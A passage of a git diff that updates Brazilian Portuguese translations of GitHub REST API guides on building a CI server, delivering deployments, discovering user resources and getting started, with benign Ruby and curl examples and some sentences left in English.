+Para que esse servidor funcione, precisamos configurar um repositório com um webhook. O webhook deve ser configurado para ser acionado sempre que um pull request for criado ou mesclada. Vá em frente e crie um repositório com o qual você esteja confortável para fazer testes. Podemos sugerir [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? Em seguida, você criará um novo webhook no seu repositório, alimentando-o com a URL que o ngrok forneceu a você e escolhendo `application/x-www-form-urlencoded` como o tipo de conteúdo:
 
-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![Uma nova URL do ngrok](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events**, and select the following:
+Clique em **Update webhook** (Atualizar webhook). Você deve ver uma resposta de texto de `Well, it worked!`. Ótimo! Clique em **Permita-me selecionar eventos individuais**e selecione o seguinte:
 
 * Status
 * Pull Request
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. Let's update our server to *just* handle the Pull Request scenario right now:
+Esses são os eventos que {% data variables.product.product_name %} serão enviados ao nosso servidor sempre que ocorrer a ação relevante. Vamos atualizar nosso servidor para *apenas* lidar com o cenário de pull request agora:
 
 ``` ruby
 post '/event_handler' do
@@ -94,26 +76,15 @@ helpers do
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. From there, we'll
-take the payload of information, and return the title field. In an ideal scenario,
-our server would be concerned with every time a pull request is updated, not just
-when it's opened. That would make sure that every new push passes the CI tests.
-But for this demo, we'll just worry about when it's opened.
+O que está acontecendo? Cada evento que {% data variables.product.product_name %} envia, anexa um cabeçalho de HTTP de `X-GitHub-Event`. Por enquanto, nos importaremos apenas com os eventos do PR. De lá, nós usaremos a carga das informações e retornaremos o campo de título. Em um cenário ideal, nosso servidor ficaria preocupado com cada vez que um pull request é atualizado, e não apenas quando ele é aberto. Isso asseguraria que todos os novos pushes passassem pelos testes de CI. Mas, para essa demonstração, nós nos preocuparemos quando ela for aberta.
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, and open a pull request. Your server should respond accordingly!
+Para testar esta prova de conceito, faça algumas alterações em um branch no repositório de teste e abra um pull request. Seu servidor deve responder de acordo!
 
-## Working with statuses
+## Trabalhar com status
 
-With our server in place, we're ready to start our first requirement, which is
-setting (and updating) CI statuses. Note that at any time you update your server,
-you can click **Redeliver** to send the same payload. There's no need to make a
-new pull request every time you make a change!
+Já que configuramos o nosso servidor, estamos prontos para iniciar nosso primeiro requisito, que é configurar (e atualizar) os status de CI. Observe que a sempre que você atualizar o seu servidor, você poderá clicar em **Entregar novamente** para enviar a mesma carga. Não há necessidade de fazer um novo pull request toda vez que você fizer uma alteração!
 
-Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb]
-to manage our interactions. We'll configure that client with
-[a personal access token][access token]:
+Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb] to manage our interactions. Vamos configurar esse cliente com
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -125,8 +96,7 @@ before do
 end
 ```
 
-After that, we'll just need to update the pull request on {% data variables.product.product_name %} to make clear
-that we're processing on the CI:
+Em seguida, vamos precisar atualizar o pull request no {% data variables.product.product_name %} para deixar claro que estamos processando na CI:
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -135,16 +105,13 @@ def process_pull_request(pull_request)
 end
 ```
 
-We're doing three very basic things here:
+Aqui, estamos fazendo três coisas muito básicas:
 
-* we're looking up the full name of the repository
-* we're looking up the last SHA of the pull request
-* we're setting the status to "pending"
+* estamos procurando o nome completo do repositório
+* estamos procurando o último SHA do pull request
+* estamos definindo o status como "pendente"
 
-That's it! From here, you can run whatever process you need to in order to execute
-your test suite. Maybe you're going to pass off your code to Jenkins, or call
-on another web service via its API, like [Travis][travis api]. After that, you'd
-be sure to update the status once more. In our example, we'll just set it to `"success"`:
+Pronto! A partir daqui, você pode executar qualquer processo de que precise para executar o seu conjunto de testes. Talvez você vá passar seu código para o Jenkins, ou chamar em outro serviço da web através da sua API, como [Travis][travis api]. Em seguida, certifique-se de atualizar o status novamente. No nosso exemplo, vamos definir isso como`"sucesso"`:
 
 ``` ruby
 def process_pull_request(pull_request)
@@ -153,33 +120,24 @@ def process_pull_request(pull_request)
   @client.create_status(pull_request['base']['repo']['full_name'], pull_request['head']['sha'], 'success')
   puts "Pull request processed!"
 end
-``` 
+```
 
-## Conclusion
+## Conclusão
 
-At GitHub, we've used a version of [Janky][janky] to manage our CI for years.
-The basic flow is essentially the exact same as the server we've built above.
-At GitHub, we:
+No GitHub, usamos uma versão do [Janky][janky] para gerenciar a nossa CI durante anos. O fluxo básico é essencialmente o mesmo que o servidor que construímos acima. No GitHub, nós:
 
-* Fire to Jenkins when a pull request is created or updated (via Janky)
-* Wait for a response on the state of the CI
-* If the code is green, we merge the pull request
+* Notificamos tudo ao Jenkins quando um pull request é criado ou atualizado (via Janky)
+* Esperamos por uma resposta no estado da CI
+* Se o código for verde, fazemos o merge do pull request
 
-All of this communication is funneled back to our chat rooms. You don't need to
-build your own CI setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+Toda esta comunicação é canalizada de volta para nossas salas de bate-papo. Você não precisa construir sua própria configuração de CI para usar este exemplo. Você sempre pode confiar nas[Integrações do GitHub][integrations].
 
-[deploy API]: /rest/reference/repos#deployments
 [status API]: /rest/reference/repos#statuses
 [ngrok]: https://ngrok.com/
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/building-a-ci-server
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
 [octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
 [travis api]: https://api.travis-ci.org/docs/
 [janky]: https://github.com/github/janky
-[heaven]: https://github.com/atmos/heaven
-[hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/pt-BR/content/rest/guides/delivering-deployments.md b/translations/pt-BR/content/rest/guides/delivering-deployments.md
index 13ad16c3da..3ebfc87076 100644
--- a/translations/pt-BR/content/rest/guides/delivering-deployments.md
+++ b/translations/pt-BR/content/rest/guides/delivering-deployments.md
@@ -1,6 +1,6 @@
 ---
-title: Delivering deployments
-intro: 'Using the Deployments REST API, you can build custom tooling that interacts with your server and a third-party app.'
+title: Entregar implantações
+intro: 'Ao usar a API RESt de implantações, você pode criar ferramentas personalizadas que interagem com seu servidor e um aplicativo de terceiros.'
 redirect_from:
   - /guides/delivering-deployments
   - /guides/automating-deployments-to-integrators
@@ -16,33 +16,23 @@ topics:
  
   
 
-The [Deployments API][deploy API] provides your projects hosted on {% data variables.product.product_name %} with
-the capability to launch them on a server that you own. Combined with
-[the Status API][status API], you'll be able to coordinate your deployments
-the moment your code lands on the default branch.
+A [API de Implantações][deploy API] fornece seus projetos hospedados em {% data variables.product.product_name %} com a capacidade de lançá-los em um servidor do qual você é proprietário. Combinado com [a API de Status][status API], você será capaz de coordenar suas implantações no momento em que seu código chegar ao branch-padrão.
 
-This guide will use that API to demonstrate a setup that you can use.
-In our scenario, we will:
+Este guia usará a API para demonstrar uma configuração que você pode usar. No nosso cenário, iremos:
 
-* Merge a pull request
-* When the CI is finished, we'll set the pull request's status accordingly.
-* When the pull request is merged, we'll run our deployment to our server.
+* Fazer merge de um pull request
+* Quando a CI terminar, definiremos o status do pull request.
+* Quando o pull request for mesclado, executaremos a nossa implantação no nosso servidor.
 
-Our CI system and host server will be figments of our imagination. They could be
-Heroku, Amazon, or something else entirely. The crux of this guide will be setting up
-and configuring the server managing the communication.
+O nosso sistema de CI e servidor de hospedagem serão imaginários. Eles podem ser Heroku, Amazon, ou qualquer outra coisa completamente diferente. O principal deste guia será criar e configurar o servidor de gerenciamento da comunicação.
 
-If you haven't already, be sure to [download ngrok][ngrok], and learn how
-to [use it][using ngrok]. We find it to be a very useful tool for exposing local
-connections.
+Se você ainda não tiver, certifique-se de [fazer o download do ngrok][ngrok] e aprender como [usá-lo][using ngrok]. Nós achamos que é uma ferramenta muito útil para expor conexões locais.
 
-Note: you can download the complete source code for this project
-[from the platform-samples repo][platform samples].
+Observação: você pode baixar o código-fonte completo para este projeto [no repositório de amostra de plataforma][platform samples].
 
-## Writing your server
+## Escrever o seu servidor
 
-We'll write a quick Sinatra app to prove that our local connections are working.
-Let's start with this:
+Vamos escrever um aplicativo rápido do Sinatra para provar que nossas conexões locais estão funcionando. Vamos começar com isso:
 
 ``` ruby
 require 'sinatra'
@@ -54,31 +44,21 @@ post '/event_handler' do
 end
 ```
 
-(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].)
+(Se você não estiver familiarizado com a forma como Sinatra funciona, recomendamos [a leitura do guia do Sinatra][Sinatra].)
 
-Start this server up. By default, Sinatra starts on port `4567`, so you'll want
-to configure ngrok to start listening for that, too.
+Inicie este servidor. Por padrão, o Sinatra começa na porta `4567`. Portanto, você deverá configurar o ngrok para começar a ouvir isso também.
 
-In order for this server to work, we'll need to set a repository up with a webhook.
-The webhook should be configured to fire whenever a pull request is created, or merged.
-Go ahead and create a repository you're comfortable playing around in. Might we
-suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)?
-After that, you'll create a new webhook in your repository, feeding it the URL
-that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the
-content type:
+Para que esse servidor funcione, precisamos configurar um repositório com um webhook. O webhook deve ser configurado para ser acionado sempre que um pull request for criado ou mesclado. Vá em frente e crie um repositório com o qual você esteja confortável para fazer testes. Podemos sugerir [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? Em seguida, você criará um novo webhook no seu repositório, alimentando-o com a URL que o ngrok forneceu a você e escolhendo `application/x-www-form-urlencoded` como o tipo de conteúdo:
 
-![A new ngrok URL](/assets/images/webhook_sample_url.png)
+![Uma nova URL do ngrok](/assets/images/webhook_sample_url.png)
 
-Click **Update webhook**. You should see a body response of `Well, it worked!`.
-Great! Click on **Let me select individual events.**, and select the following:
+Clique em **Update webhook** (Atualizar webhook). Você deve ver uma resposta de texto de `Well, it worked!`. Ótimo! Clique em **Permita-me selecionar eventos individuais** e selecione o seguinte:
 
-* Deployment
-* Deployment status
+* Implantação
+* Status da implantação
 * Pull Request
 
-These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action
-occurs. We'll configure our server to *just* handle when pull requests are merged
-right now:
+Esses são os eventos que {% data variables.product.product_name %} serão enviados ao nosso servidor sempre que ocorrer a ação relevante. Vamos configurar nosso servidor para o manipular *apenas* quando pull requests forem mesclados neste momento:
 
 ``` ruby
 post '/event_handler' do
@@ -87,26 +67,21 @@ post '/event_handler' do
   case request.env['HTTP_X_GITHUB_EVENT']
   when "pull_request"
     if @payload["action"] == "closed" && @payload["pull_request"]["merged"]
-      puts "A pull request was merged! A deployment should start now..."
+      puts "A pull request was merged! Uma implantação deve começar agora..."
     end
   end
 end
 ```
 
-What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event`
-HTTP header. We'll only care about the PR events for now. When a pull request is
-merged (its state is `closed`, and `merged` is `true`), we'll kick off a deployment.
+O que está acontecendo? Cada evento que {% data variables.product.product_name %} envia, anexa um cabeçalho de HTTP de `X-GitHub-Event`. Por enquanto, nos importaremos apenas com os eventos do PR. Quando um pull request é mesclado (seu estado é `fechado` e `mesclado` é `verdadeiro`), vamos iniciar uma implantação.
 
-To test out this proof-of-concept, make some changes in a branch in your test
-repository, open a pull request, and merge it. Your server should respond accordingly!
+Para testar esta validação de conceito, faça algumas alterações em um branch no repositório de testes, abra um pull request e faça o merge. Seu servidor deve responder de acordo!
 
-## Working with deployments
+## Trabalhando com implantações
 
-With our server in place, the code being reviewed, and our pull request
-merged, we want our project to be deployed.
+Como já temos o servidor configurado, o código que está sendo revisado e nosso pull request mesclado, queremos que nosso projeto seja implantado.
 
-We'll start by modifying our event listener to process pull requests when they're
-merged, and start paying attention to deployments:
+Vamos começar modificando nosso detector de evento para processar pull requests quando tiverem feito merge e começar a prestar atenção às implantações:
 
 ``` ruby
 when "pull_request"
@@ -120,8 +95,7 @@ when "deployment_status"
 end
 ```
 
-Based on the information from the pull request, we'll start by filling out the
-`start_deployment` method:
+Com base na informação de uma solicitação, começaremos preenchendo o método `start_deployment`:
 
 ``` ruby
 def start_deployment(pull_request)
@@ -131,19 +105,13 @@ def start_deployment(pull_request)
 end
 ```
 
-Deployments can have some metadata attached to them, in the form of a `payload`
-and a `description`. Although these values are optional, it's helpful to use
-for logging and representing information.
+As implantações podem ter alguns metadados anexados, na forma de `carga` e `descrição`. Embora esses valores sejam opcionais, é útil usar para registrar e representar informações.
 
-When a new deployment is created, a completely separate event is triggered. That's
-why we have a new `switch` case in the event handler for `deployment`. You can
-use this information to be notified when a deployment has been triggered.
+Quando uma nova implantação é criada, um evento completamente separado é acionado. É por isso que temos um novo caso de `switch` no manipulador de eventos para `implantação`. Você pode usar esta informação para ser notificado quando uma implantação for acionada.
 
-Deployments can take a rather long time, so we'll want to listen for various events,
-such as when the deployment was created, and what state it's in.
+As implantações podem demorar um pouco. Portanto, nós vamos precisar ouvir vários eventos, como quando a implantação foi criada e em que estado se encontra.
 
-Let's simulate a deployment that does some work, and notice the effect it has on
-the output. First, let's complete our `process_deployment` method:
+Vamos simular uma implantação realize um trabalho e notar o efeito que ela tem na saída. Primeiro, vamos completar nosso método `process_deploy`:
 
 ``` ruby
 def process_deployment
@@ -157,7 +125,7 @@ def process_deployment
 end
 ```
 
-Finally, we'll simulate storing the status information as console output:
+Por fim, vamos fazer a simulação do armazenamento da informação de status como a saída do console:
 
 ``` ruby
 def update_deployment_status
@@ -165,27 +133,20 @@ def update_deployment_status
 end
 ```
 
-Let's break down what's going on. A new deployment is created by `start_deployment`,
-which triggers the `deployment` event. From there, we call `process_deployment`
-to simulate work that's going on. During that processing, we also make a call to
-`create_deployment_status`, which lets a receiver know what's going on, as we
-switch the status to `pending`.
+Vamos dividir o que está acontecendo. Uma nova implantação é criada por `start_deployment`, que aciona o evento `implantação`. A partir daí, chamamos `process_deployment` para simular o trabalho que está ocorrendo. Durante esse processamento, também fazemos uma chamada para `create_deployment_status`, que permite que um destinatário saiba o que está acontecendo, pois nós alteramos o status para `pendente`.
 
-After the deployment is finished, we set the status to `success`.
+Após a conclusão da implantação, definimos o status para `sucesso`.
 
-## Conclusion
+## Conclusão
 
-At GitHub, we've used a version of [Heaven][heaven] to manage
-our deployments for years. A common flow is essentially the same as the
-server we've built above:
+No GitHub, usamos uma versão do [Heavan][heaven] para gerenciar nossas implantações por anos. Um fluxo comum é essencialmente o mesmo que o servidor que construímos acima:
 
-* Wait for a response on the state of the CI checks (success or failure)
-* If the required checks succeed, merge the pull request
-* Heaven takes the merged code, and deploys it to staging and production servers
-* In the meantime, Heaven also notifies everyone about the build, via [Hubot][hubot] sitting in our chat rooms
+* Aguarde uma resposta sobre o estado das verificações de CI (sucesso ou falha)
+* Se as verificações forem bem-sucedidas, faça o merge do pull request
+* Heaven toma o código mesclado e o implementa nos servidores de teste e produção
+* Enquanto isso, o Heaven também notifica todos sobre a criação por meio do [Hubot][hubot] que aguarda nas nossas salas de bate-papo
 
-That's it! You don't need to build your own deployment setup to use this example.
-You can always rely on [GitHub integrations][integrations].
+Pronto! Você não precisa criar sua própria configuração de implantação para usar este exemplo. Você sempre pode confiar nas [Integrações do GitHub][integrations].
 
 [deploy API]: /rest/reference/repos#deployments
 [status API]: /guides/building-a-ci-server
@@ -193,11 +154,6 @@ You can always rely on [GitHub integrations][integrations].
 [using ngrok]: /webhooks/configuring/#using-ngrok
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/delivering-deployments
 [Sinatra]: http://www.sinatrarb.com/
-[webhook]: /webhooks/
-[octokit.rb]: https://github.com/octokit/octokit.rb
-[access token]: /articles/creating-an-access-token-for-command-line-use
-[travis api]: https://api.travis-ci.org/docs/
-[janky]: https://github.com/github/janky
 [heaven]: https://github.com/atmos/heaven
 [hubot]: https://github.com/github/hubot
 [integrations]: https://github.com/integrations
diff --git a/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md b/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md
index 11f6410042..a5f88a8719 100644
--- a/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md
+++ b/translations/pt-BR/content/rest/guides/discovering-resources-for-a-user.md
@@ -1,6 +1,6 @@
 ---
-title: Discovering resources for a user
-intro: Learn how to find the repositories and organizations that your app can access for a user in a reliable way for your authenticated requests to the REST API.
+title: Descobrir recursos para um usuário
+intro: Saiba como encontrar os repositórios e organizações que o seu aplicativo pode acessar para um usuário de forma confiável para as suas solicitações autenticadas para a API REST.
 redirect_from:
   - /guides/discovering-resources-for-a-user
   - /v3/guides/discovering-resources-for-a-user
@@ -11,26 +11,26 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Discover resources for a user
+shortTitle: Descobrir recursos para um usuário
 ---
 
 
 
-When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources.
+When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. Neste guia, explicaremos como descobrir esses recursos de forma confiável.
 
-To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. You can find the complete source code for this project in the [platform-samples][platform samples] repository.
+To interact with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll be using [Octokit.rb][octokit.rb]. Você pode encontrar o código-fonte completo para este projeto no repositório de [platform-samples][platform samples].
 
-## Getting started
+## Introdução
 
-If you haven't already, you should read the ["Basics of Authentication"][basics-of-authentication] guide before working through the examples below. The examples below assume that you have [registered an OAuth application][register-oauth-app] and that your [application has an OAuth token for a user][make-authenticated-request-for-user].
+Se você ainda não o fez, você deverá ler o guia ["Princípios básicos da autenticação"][basics-of-authentication] antes de trabalhar com exemplos abaixo. Os exemplos abaixo assumem que você [registrou um aplicativo OAuth][register-oauth-app] e que seu aplicativo [tem um token do OAuth para um usuário][make-authenticated-request-for-user].
 
-## Discover the repositories that your app can access for a user
+## Descubra os repositórios que o seu aplicativo pode acessar para um usuário
 
-In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
+Além de ter seus próprios repositórios pessoais, um usuário pode ser um colaborador em repositórios pertencentes a outros usuários e organizações. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access.
 
-[OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories.
+[Os escopos do OAuth][scopes] e as [políticas dos aplicativos da organização][oap] determinam quais desses repositórios o seu aplicativo pode acessar para um usuário. Use o fluxo de trabalho abaixo para descobrir esses repositórios.
 
-As always, first we'll require [GitHub's Octokit.rb][octokit.rb] Ruby library. Then we'll configure Octokit.rb to automatically handle [pagination][pagination] for us.
+Como sempre, primeiro precisaremos da biblioteca de Ruby do [GitHub Octokit.rb][octokit.rb]. Em seguida, vamos configurar o Octokit.rb para gerenciar automaticamente a [paginação][pagination] para nós.
 
 ``` ruby
 require 'octokit'
@@ -38,7 +38,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user]:
+Em seguida, passaremos o [Token OAuth para um determinado usuário][make-authenticated-request-for-user] do nosso aplicativo:
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -46,7 +46,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we're ready to fetch the [repositories that our application can access for the user][list-repositories-for-current-user]:
+Em seguida, estaremos prontos para buscar os [repositórios que o nosso aplicativo pode acessar para o usuário][list-repositories-for-current-user]:
 
 ``` ruby
 client.repositories.each do |repository|
@@ -63,11 +63,11 @@ client.repositories.each do |repository|
 end
 ```
 
-## Discover the organizations that your app can access for a user
+## Descubra as organizações que o seu aplicativo pode acessar para um usuário
 
-Applications can perform all sorts of organization-related tasks for a user. To perform these tasks, the app needs an [OAuth authorization][scopes] with sufficient permission. For example, the `read:org` scope allows you to [list teams][list-teams], and the `user` scope lets you [publicize the user’s organization membership][publicize-membership]. Once a user has granted one or more of these scopes to your app, you're ready to fetch the user’s organizations.
+Os aplicativos podem executar todos os tipos de tarefas relacionadas à organização para um usuário. Para executar essas tarefas, o aplicativo precisa de uma [autorização do OAuth][scopes] com permissão suficiente. Por exemplo, o escopo `read:org` permite que você [liste as equipes][list-teams] e o escopo do `usuário` permite que você [publique a associação da organização do usuário][publicize-membership]. Assim que um usuário conceder um ou mais desses escopos para o seu aplicativo, você estará pronto para buscar as organizações do usuário.
 
-Just as we did when discovering repositories above, we'll start by requiring [GitHub's Octokit.rb][octokit.rb] Ruby library and configuring it to take care of [pagination][pagination] for us:
+Assim como fizemos ao descobrir os repositórios acima, começaremos exigindo a biblioteca de Ruby do [GitHub's Octokit.rb][octokit.rb] Biblioteca Ruby e configurando-a para cuidar da [paginação][pagination] para nós:
 
 ``` ruby
 require 'octokit'
@@ -75,7 +75,7 @@ require 'octokit'
 Octokit.auto_paginate = true
 ```
 
-Next, we'll pass in our application's [OAuth token for a given user][make-authenticated-request-for-user] to initialize our API client:
+Em seguida, passaremos o [Token OAuth para um determinado usuário][make-authenticated-request-for-user] do nosso aplicativo para inicializar o nosso cliente da API:
 
 ``` ruby
 # !!! DO NOT EVER USE HARD-CODED VALUES IN A REAL APP !!!
@@ -83,7 +83,7 @@ Next, we'll pass in our application's [OAuth token for a given user][make-authen
 client = Octokit::Client.new :access_token => ENV["OAUTH_ACCESS_TOKEN"]
 ```
 
-Then, we can [list the organizations that our application can access for the user][list-orgs-for-current-user]:
+Em seguida, podemos [listar as organizações que o nosso aplicativo pode acessar para o usuário][list-orgs-for-current-user]:
 
 ``` ruby
 client.organizations.each do |organization|
@@ -91,11 +91,11 @@ client.organizations.each do |organization|
 end
 ```
 
-### Return all of the user's organization memberships
+### Retorna todas as associações da organização do usuário
 
-If you've read the docs from cover to cover, you may have noticed an [API method for listing a user's public organization memberships][list-public-orgs]. Most applications should avoid this API method. This method only returns the user's public organization memberships, not their private organization memberships.
+Se você leu a documentação do princípio ao fim, é possível que você tenha notado um [método da API para listar as associações de organizações públicas de um usuário][list-public-orgs]. A maioria dos aplicativos deve evitar este método de API. Este método retorna apenas as associações de organizações públicas do usuário, não suas associações de organizações privadas.
 
-As an application, you typically want all of the user's organizations that your app is authorized to access. The workflow above will give you exactly that.
+Como um aplicativo, normalmente você quer todas as organizações do usuário que o seu aplicativo está autorizado a acessar. O fluxo de trabalho acima fornecerá exatamente isso.
 
 [basics-of-authentication]: /rest/guides/basics-of-authentication
 [list-public-orgs]: /rest/reference/orgs#list-organizations-for-a-user
@@ -103,10 +103,14 @@ As an application, you typically want all of the user's organizations that your
 [list-orgs-for-current-user]: /rest/reference/orgs#list-organizations-for-the-authenticated-user
 [list-teams]: /rest/reference/teams#list-teams
 [make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
+[make-authenticated-request-for-user]: /rest/guides/basics-of-authentication#making-authenticated-requests
 [oap]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/
 [octokit.rb]: https://github.com/octokit/octokit.rb
+[octokit.rb]: https://github.com/octokit/octokit.rb
+[octokit.rb]: https://github.com/octokit/octokit.rb
 [pagination]: /rest#pagination
 [platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/discovering-resources-for-a-user
 [publicize-membership]: /rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user
 [register-oauth-app]: /rest/guides/basics-of-authentication#registering-your-app
 [scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
+[scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/
diff --git a/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md b/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md
index 4e6053352c..71e011b003 100644
--- a/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md
+++ b/translations/pt-BR/content/rest/guides/getting-started-with-the-rest-api.md
@@ -1,6 +1,6 @@
 ---
-title: Getting started with the REST API
-intro: 'Learn the foundations for using the REST API, starting with authentication and some endpoint examples.'
+title: Primeiros passos com a API REST
+intro: 'Aprenda os fundamentos para usar a API REST, começando com a autenticação e alguns exemplos de pontos de extremidade.'
 redirect_from:
   - /guides/getting-started
   - /v3/guides/getting-started
@@ -11,28 +11,23 @@ versions:
   ghec: '*'
 topics:
   - API
-shortTitle: Get started - REST API
+shortTitle: Primeiros passos - REST API
 ---
 
 
-Let's walk through core API concepts as we tackle some everyday use cases.
+Vamos andar pelos conceitos básicos da API, à medida que abordamos alguns casos de uso diário.
 
 {% data reusables.rest-api.dotcom-only-guide-note %}
 
-## Overview
+## Visão Geral
 
-Most applications will use an existing [wrapper library][wrappers] in the language
-of your choice, but it's important to familiarize yourself with the underlying API
-HTTP methods first.
+A maioria dos aplicativos usará uma [biblioteca de segurança][wrappers] existente na linguagem da sua escolha, mas é importante familiarizar-se primeiro com os métodos HTTP e de API subjacentes.
 
-There's no easier way to kick the tires than through [cURL][curl].{% ifversion fpt or ghec %} If you are using
-an alternative client, note that you are required to send a valid
-[User Agent header](/rest/overview/resources-in-the-rest-api#user-agent-required) in your request.{% endif %}
+Não há uma maneira mais de fazê-lo do que através do [cURL][curl].{% ifversion fpt or ghec %} Se você estiver usando um cliente alternativo, observe que você será obrigado a enviar um [cabeçalho do agente de usuário](/rest/overview/resources-in-the-rest-api#user-agent-required) válido na sua solicitação.{% endif %}
 
 ### Hello World
 
-Let's start by testing our setup. Open up a command prompt and enter the
-following command:
+Vamos começar testando a nossa configuração. Abra uma instrução de comando e digite o comando a seguir:
 
 ```shell
 $ curl https://api.github.com/zen
@@ -40,9 +35,9 @@ $ curl https://api.github.com/zen
 > Keep it logically awesome.
 ```
 
-The response will be a random selection from our design philosophies.
+A resposta será uma seleção aleatória das nossas filosofias de design.
 
-Next, let's `GET` [Chris Wanstrath's][defunkt github] [GitHub profile][users api]:
+Em seguida, vamos fazer `GET` para o [perfil de GitHub][users api] de [Chris Wanstrath][defunkt github]:
 
 ```shell
 # GET /users/defunkt
@@ -60,7 +55,7 @@ $ curl https://api.github.com/users/defunkt
 > }
 ```
 
-Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers:
+Mmmmm, tem sabor de [JSON][json]. Vamos adicionar o sinalizador `-i` para incluir cabeçalhos:
 
 ```shell
 $ curl -i https://api.github.com/users/defunkt
@@ -104,75 +99,64 @@ $ curl -i https://api.github.com/users/defunkt
 > }
 ```
 
-There are a few interesting bits in the response headers. As expected, the
-`Content-Type` is `application/json`.
+Há algumas partes interessantes nos cabeçalhos da resposta. Como esperado, o `Content-Type` é `application/json`.
 
-Any headers beginning with `X-` are custom headers, and are not included in the
-HTTP spec. For example:
+Qualquer cabeçalho que começar com `X -` é um cabeçalho personalizado e não está incluído nas especificações de HTTP. Por exemplo:
 
-* `X-GitHub-Media-Type` has a value of `github.v3`. This lets us know the [media type][media types]
-for the response. Media types have helped us version our output in API v3. We'll
-talk more about that later.
-* Take note of the `X-RateLimit-Limit` and `X-RateLimit-Remaining` headers. This
-pair of headers indicate [how many requests a client can make][rate-limiting] in
-a rolling time period (typically an hour) and how many of those requests the
-client has already spent.
+* `X-GitHub-Media-Type` tem um valor de `github.v3`. Isso nos permite saber o [tipo de mídia][media types] para a resposta. Tipos de mídia nos ajudaram a criar uma versão da nossa saída na API v3. Vamos falar mais sobre isso mais adiante.
+* Anote os cabeçalhos `X-RateLimit-Limit` e `X-RateLimit-Remaining`. Este par de cabeçalhos indica [quantas solicitações um cliente pode fazer][rate-limiting] em um período de tempo consecutivo (geralmente, uma hora) e quantas dessas solicitações o cliente já gastou.
 
-## Authentication
+## Autenticação
 
-Unauthenticated clients can make 60 requests per hour. To get more requests per hour, we'll need to
-_authenticate_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires
-[authentication][authentication].
+Clientes sem autenticação podem fazer 60 solicitações por hora. Para obter mais solicitações por hora, precisaremos _efetuar a autenticação_. In fact, doing anything interesting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API requires [authentication][authentication].
 
-### Using personal access tokens
+### Usar tokens de acesso pessoal
 
